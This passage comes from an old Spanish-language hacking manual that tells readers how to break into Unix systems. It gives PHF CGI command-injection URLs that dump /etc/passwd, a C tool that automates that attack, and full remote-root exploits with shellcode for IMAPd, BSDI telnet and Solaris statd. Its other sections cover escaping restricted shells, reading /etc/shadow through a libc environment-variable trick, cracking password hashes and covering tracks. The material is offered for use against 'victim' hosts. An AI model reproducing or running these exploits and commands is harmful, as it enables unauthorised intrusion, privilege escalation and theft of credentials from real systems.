Asi, escribe en tu
navegador:
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
( 1 )( 2 )( 3 )( 4
)(5)( 6 )
1.- El site que
quieras atacar.
2.- El comando phf.
3.- Aqui es donde
esta el secreto.
4.- El programa que
quieres que se ejecute.
5.- El %20 es un
espacio, y se pueden usar tantos como te hagan falta.
6.- Y pues aqui va el
archivo o directorio que quieres ver.
Tras ejecutar este xploit,
pueden suceder varias cosas:
1.- Que no se encuentre el
archivo phf, porque los administradores que son un poco mas listos han
desactivado esta opcion o que sea astuto y un poco borde y te mande algun nuke
al intentarlo .. todo no iba a ser bonito ¡!! :o( Esto pasa en algunas maquinas
sobre todo si son de hackers :o)
2.- Que te salga el archivo,
pero los password no estan de la manera habitual. Entonces, pueden pasar dos
cosas, que este shadow o que este el NIS instalado. Si estamos en el segundo
caso, se puede identificar porque en la ultima linea del archivo tiene una
cadena parecida a esta "+::0:0:::" Si NO TE SALE, intenta poner en la
linea del navegador, en vez de /etc/passwd pues /etc/shadow u otro archivo
dependiendo del sistema ( si el httpd rula como root). Si TE SALE la cadena
"+::0:0:::" estas de suerte, porque eso indica que tiene activado el
sistema de archivos NIS, y por lo cual posiblemente funcione el comando
"ypcat" para leer el passwd. La linea seria la siguiente:
Con esto te saldran todas
las cuentas sin sombrear, o sea lo que quiere decir que puedes crackear el
archivo passwd
Si todo sale bien el
resultado sera del tipo:
QUERY
RESULTS
/usr/local/bin/ph -m alias=x cat /etc/passwd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
Y una vez tienes este texto
en la pantalla de tu navegador, solo tienes que hacer un guardar como.
Pero el PHF te da muchas mas
posibilidades, ya que si el server esta corriendo su httpd server como root, se
puede obtener el acceso de root.
Usando
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/usr/bin/id
Usamos el id para conocer la
identificacion del user. Recuerda que el root es id=0 aunque lo usual es que
corra bajo nobody y te saldria algo de este tipo:
QUERY
RESULTS
/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
Si en lugar de correr como
usuario nobody, corriese como root, podriamos usar comandos como root,
interesante no??
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd
Estos dos ya han sido
explicados anteriormente. El que muestro a continuacion podria ser util para ver
todos los archivos del directorio /etc que empiezan con la palabra pass.
http://www.victima.com/cgi-bin/phf?Qalias=x%0als%20-al%20/etc/pass*
Los tres comandos anteriores
funcionaran aunque no corra como root, pero para los siguientes si que es
necesario el root, pero son los mas interesantes:
Cambiar el password del root
(no funciona mucho pero si a veces):
http://www.victima.com/cgi-bin/phf?Qalias=x%0apasswd%20root
Ademas, hay que pensar que
una makina kon phf y ke el httpd rule komo root es practicamente como si
tuviesemos una cuenta de root en la maquina, asi que ya sabes........ kreo ke
sobran los komentarios no? }-)
Bien, todo lo que he contado
es suponiendo que usan el navegador como el Netscape para el ventanukos o usar
el Netscape o lynx para linux, pero adjunto un programa para que podan usar
comandos para el phf desde el shell que es mas comodo y ademas si usan una
maquina de condon, no tenes que depender de si esa maquina tiene navegadores o
no.
En fin, el codigo es el
siguiente:
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx.
Also,
* this saves the time it usually takes to remember the syntatical
format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be
patient.
*
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;
if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]",
argv[0]);
exit(1);
}
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, "%20"); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
++i;
}
strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0],
hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n",
argv[0]);
exit(1);
}
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n",
command);
free(command);
write(s, exploit, strlen(exploit));
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}
La sintaxis para usar este
codigo es:
phf cat%20/etc/passwd
www.maquinavictima.com para hacer un cat passwd
phf id
www.maquinavictima.com para hacer un id
phf ls
www.maquinavictima.com para hacer un ls
etc... como ves la sintaxis
es sencilla y mas comodo que usar el navegador.
Para posteriores ediciones
del texto comentare algun codigo interesante que tengo para explotar el phf asi
como algun truquillo para obtener mas posibilidades de este bug. ;o) como pillar
los archivos de passwd si esta shadow, evitar filtrado de ip, etc... pensad que
una maquina con phf es una maquina en la que puedes ejecutar y ver comandos
remotamente.. asi que pensando un poco las posibilidades son infinitas :o)
4.7.- XPLOITS QUE TE DAN
DIRECTAMENTE UNA SHELL
En este apartado, voy a
poner unos cuantos xploits pero como he dicho anteriormente, la red esta llena
de xploits para todos los sistemas operativos y casi todas las versiones asi que
aqui solo voy a poner unos cuantos.
En fin, voy a poner uno que
da directamente un shell de root debido al bug del impad ( puerto 143) en
maquinas linux con RedHat:
/*
* IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05
*
* Workz fine against RedHat and imapd distributed with pine
*
* Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest
of
ToXyn !!!
*
* usage:
* $ (imap 0; cat) | nc victim 143
* |
* +--> usually from -1000 to 1000 ( try in steps of 100 )
*
* [ I try 0, 100 and 200 - so1o ]
*/
#include <stdio.h>
char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh";
char username[1024+255];
void main(int argc, char *argv[]) {
int i,a;
long val;
if(argc>1)
a=atoi(argv[1]);
else
a=0;
strcpy(username,shell);
for(i=strlen(username);i<sizeof(username);i++)
username[i]=0x90; /* NOP */
val = 0xbffff501 + a;
for(i=1024;i<strlen(username)-4;i+=4)
{
username[i+0] = val & 0x000000ff;
username[i+1] = (val & 0x0000ff00) >> 8;
username[i+2] = (val & 0x00ff0000) >> 16;
username[i+3] = (val & 0xff000000) >> 24;
}
username[ sizeof(username)-1 ] = 0;
printf("%d LOGIN \"%s\" pass\n", sizeof(shell),
username);
}
Otro para BSDI BSD/OS 2.1 y
bien explicadito (aunque en ingles.. pero creo que es demasiado sencillo para
traducirno no?):
/* Bug originally discovered by Theo de Raadt <deraadt@CVS.OPENBSD.ORG>
*/
/* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
**
** Written by Joseph_K the 22-Oct-1997
**
**
** Original shellcode by mudge@l0pht.com but modified a tiny bit...
**
** This program must be compiled for the BSDI architecture...
** You will need to transfer the file 'termcap' this program creates
** to the host you want to penetrate, possibly by anonymous FTP.
**
** Then start telnet and type:
**
** telnet> env def TERM access
** telnet> env def TERMCAP /path/and/name/of/uploaded/file
** telnet> open victim.host.com
**
** tadaa! r00t shell...
**
** However because of the invalid termcap entry, there can be some
** hazzles....You figure it out....
**
** Fy faen vad jag ar hungrig...
**
** Special Greetz to TWiLiGHT!
**
*/
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define filename "./termcap"
#define entry "access|Gimme r00t:\\\n :"
#define bufsize 1300
#define default_offset 870 /* Should work...*/
char shellcode[] =
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";
long get_sp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(int argc, char *argv[]) {
int i, fd, offs;
long *bof_ptr;
char *ptr, *buffer, *tempbuf;
offs = default_offset;
if(argc == 2) {
printf("using offset: %d\n",atoi(argv[1]));
offs = atoi(argv[1]);
}
if(!(buffer = malloc(bufsize))) {
printf("can't allocate enough memory\n");
exit(0);
}
if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
printf("can't allocate enough memory\n");
exit(0);
}
bof_ptr = (long *)buffer;
for (i = 0; i < bufsize - 4; i += 4)
*(bof_ptr++) = get_sp() - offs;
ptr = (char *)buffer;
for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
*(ptr++) = 0x90;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
printf("Creating termcap file\n");
snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n",
entry, buffer);
fd = open(filename, O_WRONLY|O_CREAT, 0666);
write (fd, tempbuf, strlen(tempbuf));
close(fd);
}
Otro para Solaris 2.5.1:
/*
statd remote overflow, solaris 2.5.1 x86
there is a patch for statd in solaris 2.5, well, it looks like
they check only for '/' characters and they left overflow there ..
nah, it's solaris
usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah"
# remember that statd is standalone daemon
*/
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>
#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;
/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};
char
asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0
1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
char nop[]="\x90";
char code[4096];
void usage(char *s) {
printf("Usage: %s host [cmd]\n", s);
exit(0);
}
main(int argc, char *argv[]) {
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct mon monreq;
struct sm_stat_res monres;
struct hostent *hp;
struct sockaddr_in target;
int sd, i, noplen=strlen(nop);
char *ptr=code;
if
(argc < 2)
usage(argv[0]);
if (argc == 3)
cmd[2]=argv[2];
for (i=0; i< sizeof(code); i++)
*ptr++=nop[i % noplen];
strcpy(&code[750], asmcode); /* XXX temp. */
ptr=code+strlen(code);
for (i=0; i<=strlen(cmd[0]); i++)
*ptr++=cmd[0][i]-1;
for (i=0; i<=strlen(cmd[1]); i++)
*ptr++=cmd[1][i]-1;
for (i=0; i<=strlen(cmd[2]); i++)
*ptr++=cmd[2][i]-1;
ptr=code+BUFSIZE-(ADDRS<<2);
for (i=0; i<ADDRS; i++, ptr+=4)
*(int *)ptr=ADDRP;
*ptr=0;
printf("strlen = %d\n", strlen(code));
memset(&monreq, 0, sizeof(monreq));
monreq.mon_id.my_id.my_name="localhost";
monreq.mon_id.my_id.my_prog=0;
monreq.mon_id.my_id.my_vers=0;
monreq.mon_id.my_id.my_proc=0;
monreq.mon_id.mon_name=code;
if ((hp=gethostbyname(argv[1])) == NULL) {
printf("Can't resolve %s\n", argv[1]);
exit(0);
}
target.sin_family=AF_INET;
target.sin_addr.s_addr=*(u_long *)hp->h_addr;
target.sin_port=0; /* ask portmap */
sd=RPC_ANYSOCK;
tm.tv_sec=10;
tm.tv_usec=0;
if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd))
== NULL) {
clnt_pcreateerror("clnt_create");
exit(0);
}
stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq,
xdr_sm_stat_res,
(char *)&monres, tm);
if
(stat != RPC_SUCCESS)
clnt_perror(cl, "clnt_call");
else
printf("stat_res = %d.\n", monres.res_stat);
clnt_destroy(cl);
}
Otro bug de System V (aunque
es improbable que funcione) pero es bastante aclarativo de cuales pueden llegar
a ser las naturalezas de los bugs:
Existe un bug en Passwd+ o
Npasswd que permite el acceso sin clave cuando la validez de la anterior ha
expirado.
Si el programa detecta que
el usuario que quiere entrar (sabe quien es despues de poner el login) tiene el
mismo password demasiado tiempo, le pide inmediatamente que lo cambie SIN
PEDIR EL PASSWORD ANTIGUO!!!, saldria esto:
UNIX(r)
System V Release 4.0 (good religious site)
login: priest
Sorry Passwd has expired
Change:
Y pones el que quieres y ya
estas dentro :--> con una cuenta que tu has determinado el passwd jeje
Para posteriores ediciones
espero poner algunos mas, pero creo que es mejor que ponga bastantes en la
seccion de pillar root ke es mas interesante ke esto :o)y ademas, sinceramente
no se si vale la pena ya que se pueden encontrar con facilidad en la red.
4.8.- OTROS METODOS
En fin, aqui solo voy a
comentar que hay muchisimos mas metodos para conseguir cuentas ... directamente
con muchisimos otros bugs y xploits que rulan por ahi, usando el metodo de la
fuerza bruta por algun servicio ( ftp, pop3, etc), spoofing, fallos de
configuracion en ftp, alguna cuenta que pilles con un sniffer, fallos en los rpc,
mas xploits remotos, defectos de configuracion, hijacking, etc... pero esto ya
se comentara en posteriores ediciones si hay ganas ;o) o quizas en textos
especificos para esos temas ya que este texto es de introduccion y tampoco lo
quiero recargar demasiado.
5.- SALIR DE SHELL
RESTRINGIDA
La idea es que una vez que
tenemos una cuenta shell en un sitio y la shell esta muy restringida y no
podemos hacer nada ( hay veces que ni siquiera te deja cambiar de directorio, ni
ejecutar el gcc ni nada) hemos de buscar alguna manera de tener una cuenta un
poco mas decente.
Algunas veces, la solucion
es probar con el login y el password de la shell pero entrando por otros puertos
como el ftp, rlogin, etc. y gracias a dios algunas veces se obtienen cuentas con
mejores prestaciones que la anterior. Puedes escribir un + + en el archivo .rhosts
y hacer un rlogin, etc...otras veces, entrando por el ftp podemos sobreescribir
algun archivo que sea el que nos esta activando las restricciones... queda
bastante claro no? :)
Asi ya podemos intentar
pillar el archivo de passwd o ejecutar algun xploit para pillar otras cuentas o
el rOOt.
Otro metodo que a veces
funciona, dependiendo de como se ha hecho esa shell restringida (si esta
bastante mal hecha) es el rulando un programa que interactua con el shell como
por ejemplo el vi:
:set shell=/bin/sh
y luego..
:shell
Otro sistema ke puede
funcionar, si tienes una cuenta para mail es tocar el .pinerc... es decir,
bajarlo por ftp, tocarlo en tu maquina y volverlo a subir.
Si la cuenta no es muy
restringida y deja correr el gcc, se puede compilar algun programa en c que te
deje acceder al archivo de passwd aunque no tengas acceso a ese directorio. En
la seccion de passwd y como cogerlos hay programas de este tipo.
En fin, son metodos un poco
cutres pero a veces funcionan. Ademas, en general lo que se ha de hacer es
examinar las variables de entorno que tenemos en la shell y pensar si de alguna
manera podemos inhabilitar las restricciones aunque para esto se necesita tener
un poco claro el unix.
6.- CRACKEAR PASSWORDS EN
MAQUINAS UNIX
Suponiendo que con alguna de
las tecnicas expuestas en el apartado anterior, hemos conseguido el famoso
archivo /etc/passwd, ahora hay que obtener los passwd desencriptados.
6.1.- Introduccion y
algoritmo de cifrado.
En los sistemas Unix, los
logins y los passwords suelen estar en el archivo /etc/passwd ( a no ser que
esten shadow ).
En estos archivos, el login
es visible y el password esta encriptado por lo que tienen una forma como la que
se muestra a continuacion:
root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh
sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh
diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:*:1:1:daemons:/:/dev/null
bin:*:2:2:System Tools Owner:/bin:/dev/null
uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:*:4:0:System Activity Owner:/var/adm:/bin/sh
adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh
rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh
4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
Donde cada campo viene
separado por : y en los que el significado de cada campo es:
Login: will
Password encriptado: 5fg63fhD3d5gh
Numero de identificacion del
usuario (UID): 9406
Numero de identificacion del
grupo al que pertenece (GID): 12
Nombre real: Will Spencer
Directorio Home: /home/fsg/will
Tipo de shell: /bin/bash
En algunas lineas, el campo
password es "*". Este password encriptado es invalido, o sea, no se
corresponde con ningun password; por tanto, las cuentas que tienen alguna
"*" en el campo password son cuentas a las que no se podra entrar y
que son usadas por el sistema operativo.
Si en el archivo de pass en
el lugar del password aparece :: quiere decir que esa cuenta no tiene password,
por lo que al introducir el login entras directamente.
Respecto a la cadena de uid
( user identification) el "0" corresponde al rOOt. Igualmente, si hay
otros users con uid=0, estos usuarios son rOOt a todos los efectos, o sea,
tienen los mismos derechos que el rOOt ( nota para el que vaya un poco perdido,
el rOOt es la persona que tiene un poder absoluto sobre el sistema pudiendo
hacer todo lo que le plazca). Muchas veces solo habra un user con id 0 pero a
veces hay varios con lo que se facilita el trabajo :o)
Los usuarios que sin tener
el uid=0 tienen el mismo gid que el rOOt, tambien tienen algunos privilegios por
el hecho de pertenecer al grupo del rOOt. Igualmente, hay que observar los uid y
los gid de otros personajes particulares del sistema como wwwadmin, admin, www,
bin , etc.
La siguiente cadena indica
el directorio home, es decir al directorio que entraras cuando entres a esa
maquina. La ultima cadena indica el shell que usaras por defecto cuando
entres... hay varios tipos de shell.. sh, csh... pero eso se comenta en
cualquier sitio que hable sobre unix por lo que para remitiros a las diferencias
lo puedes mirar alli.
Vamos a hablar un poco sobre
el algoritmo de cifrado:
El algoritmo de cifrado es
el llamado DES, el cual era un algoritmo practicamente indescifrable cuando se
ideo, pero que con el paso del tiempo y la tremenda evolucion de la tecnologia,
cada dia se hace mas posible su desencriptado, dada la velocidad de los
computadores actuales.
Es casi imposible volver
hacia atras a partir de un password para obtener la palabra original. La unica
forma que se conoce de romper DES es a fuerza bruta, cosa que se consiguio a
principios de 1997 en internet, con maquinas distribuidas (lo mismo que ahora
intentan con RC5). Tardaron 4 meses en romperlo, y eso que tuvieron suerte y
solo tuvieron que probar una pequeña parte de todas las posibles claves.
Otro aspecto a destacar es
la existencia del password aging, es decir que los password caducan. Esto es
importante conocerlo ya que si los passwords se renuevan habitualmente,
tendremos que acelerar nuestras acciones si no queremos que tras haber crackeado
el archivo passwd, estos passwords ya hayan sido cambiados :o(
Si existe el password aging,
en el archivo de passwords las entradas seran del tipo:
Pepe:cualquier,43:34:3:Pepe
perez:/home/pepe
El formato es del tipo
passwd,Mmww donde M es el maximo numero de semanas que pueden pasar hasta que el
password sea cambiado y m es el minimo intervalo en el que puede ser cambiado
mientras que ww indica cuando fue la ultima vez que se cambio el password.
La relacion entre M, m y el
numero real de semanas es:
Caracter Numero de semanas
. 0
/ 1
0-9 2-11
A-Z 12-37
a-z 38-63
Asi, en el ejemplo de Pepe,
el password contiene la extension ,43 que quiere decir que debe ser cambiado
antes de 6 semanas ( ya que el 0 corresponde al 2) y que debe permanecer al
menos 3.
Entonces la pregunta es.. si
es casi imposible desencriptarlos.. ¿que hace unix/linux para leer el archivo
cuando entras al sistema??. Simplemente lo que hace es leer el login y el passwd
que introduces por el teclado, los encripta y si coinciden con los
correspondientes en el archivo /etc/passwd ya estas dentro!!!
Por tanto, la forma de
atacar un archivo de passwords de Unix es precisamente la misma que usa el
sistema operativo para verificar un password: encriptar muuuuchas palabras y
comprobar cada una de ellas si coincide con el password encriptado. Si coincide,
ya tenemos un password, y si no, probamos la siguiente palabra. Para hacer esto
necesitamos tres cosas: una lista de palabras a probar, una lista con los
passwords encriptados y un programa que haga las pruebas.
6.2.- Conseguir el archivo
de passwd estando dentro de la maquina
6.2.1.- Introduccion
Siempre que se tenga una
cuenta en un sistema, deberas entrar en el para pillar el famoso archivo de
passwd sobre todo si esa cuenta te la ha pasado otro hacker ya que el root puede
darse cuenta que esa cuenta es peligrosa para sus intereses y cerrarla.
Igualmente, antes de ir a
pillarlo, haced un who para ver si esta el root.. aunque muchas veces aparece el
root y realmente no esta ya que es facil hacer esto por lo que cada uno que vea
lo que hace en estos casos aunque con un poco de sentido comun es sencilla la
determinacion a tomar.
Asi, si tenes el archivo de
passwd tendres muchisimas cuentas y te dara lo mismo que cierren la cuenta con
la que entrastes en principio aunque esto realmente no es asi por lo que no lo
tomes muy al pie de la letra ya que un root que se de cuenta de que tiene un
hacker rondando ( si el root controla el tema) siempre tiene las de ganar en
esta batalla :(
Ademas, es conveniente
cambiar de cuentas para entrar al sistema ya que como se comentara mas adelante
parte de lo que hagan en un sistema UNIX se queda en los archivos de logs por lo
que si no conseguis root y borran estos logs, vuestras huellas estaran ahi y
nada mas que el root tenga algo de interes por la seguridad vera que ha habido
un tio haciendo cosas inusuales, pero todo esto ya es otro cantar que ya se
hablara mas adelante.
El resumen de los anteriores
parrafos es que lo mejor es una vez con una cuenta en el sistema, pillar el
archivo de passwords y luego hacerse root y borrar todas las huellas... el
problema es que no siempre todo esto es tan sencillo :(
En fin, suponemos que hemos
conseguido una cuenta por alguno de los metodos anteriores, asi, si la cuenta no
es muy restringida siempre puedes hacer un "cat /etc/passwd". Si no
tienen Shadow Passwords o NIS aparecera una lista como la que habes visto al
principio. Sino, aparecera algo similar a esto:
root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh
sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh
diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:*:1:1:daemons:/:/dev/null
bin:*:2:2:System Tools Owner:/bin:/dev/null
uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:*:4:0:System Activity Owner:/var/adm:/bin/sh
adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh
rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh
4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
Una manera de conseguir el archivo de passwd si esta shadow
y si usa libc 5.4.7 ( algunos aun la usan) es aprovechar que algunos comandos
como ping, traceroute, rlogin y ssh estan suid por lo que se podra explotar como
sigue:
Ejecutas bash o sh
Export RESOLV_HOST_CONF=/etc/shadow ( o el archivo en el
que este dependiendo del sistema operativo)
Ping asdf
Y si no ha fallado nada te imprimira el shadow jeje. Con
este metodo se pueden hacer mas kosas... pero es tan obvio que lo omito okis?
jeje
6.2.3.- NIS
Otro concepto que se ha comentado a lo largo del texto es
el de NIS por lo que a continuacion explico un poco lo que es.
NIS (Network Information System) es un protocolo de nivel
de aplicacion muy util para la gestion de configuraciones cliente/servidor en
sistemas UNIX. Anteriormente era conocido como Yellow Pages y es un sistema de
bases de datos distribuidas que proporcionan un metodo uniforme para el
almacenamiento y de recuperacion de la informacion sobre los recursos de red. En
lugar de gestionar archivos como /etc/host /etc/passwd,/etc/group
independientemente en cada maquina de la red, este sistema posibilita que solo
haya una base de datos compartida por el resto de las maquinas clientes en un
servidor central.
En fin, tras este rollo te preguntaras y que mas nos da
esto del NIS??, pues bien, es que una de la informacion ( mapas) que es
compartida son los famosos archivos de password que nosotros buscamos jeje.
Asi, si estas dentro de una maquina con NIS y te sale algo
que parece un shadow en el archivo /etc/passwd posiblemente haya un NIS. Esto se
puede identificar como se ha comentado, mirando la ultima linea del archivo de
passwd y si es algo del tipo "+::0:0:::" o mirando los procesos del
sistema, ya que el NIS siempre tendra corriendo ypserv y algunos procesos mas
que empiezan por yp, es decir, yp*. Bien, si ya tienes claro que corre NIS, lo
que tienes que intentar es usar el ypcat tal como sigue:
ypcat
/etc/passwd > ~/passwd
y bajate el archivo passwd de tu directorio HOME usando FTP
o como quieras. Mas adelante se comentaran varios metodos.
En caso de que no tengan privilegios para ejecutar el
"ypcat", o en caso de que el "ypcat" no este o por si acaso
lo que aparece al ejecutar el "ypcat" vuelve a ser basura otra vez,
tendres que recurrir a otros programas para obtener los passwords como por
ejemplo el pwget que tambien es usado para pillar shadows:
Una vez lo tenes en la maquina objetivo, lo compilan con
“cc -o pwget pwget.c", y ejecutarlo ("./pwget"), con lo que
obtendras por pantalla la lista de passwords. Si queres la lista en un archivo,
solo tenes que redireccionar la salida de la pantalla a un archivo:
$ ./pwget > archivo
Ahora adjunto otro programita que siempre es bueno tenerlo
a mano por si el pwget da alguna pega o algo y que sirve para obtener los
password shadow es el siguiente.
Su uso es gcc shadow.c -o shadow o cc shadow.c -o shadow y
luego ./shadowpw >> password. Asi obtenendremos el archivo de passwd en el
archivo password.
------------------------------------------CUT
HERE-------------------------------------------------
/*
This source will/should print out SHADOWPW passwd files. */
struct
SHADOWPW { /* see getpwent(3) */
char *pw_name;
char *pw_passwd;
int pw_uid;
int pw_gid;
int pw_quota;
char *pw_comment;
char *pw_gecos;
char *pw_dir;
char
*pw_shell;
};
struct
passwd *getpwent(), *getpwuid(), *getpwnam();
#ifdef
elxsis?
/*
Name of the shadow password file. Contains password and aging info */
#define
SHADOWPW "/etc/shadowpw"
#define
SHADOWPW_PAG "/etc/shadowpw.pag"
#define
SHADOWPW_DIR "/etc/shadowpw.dir"
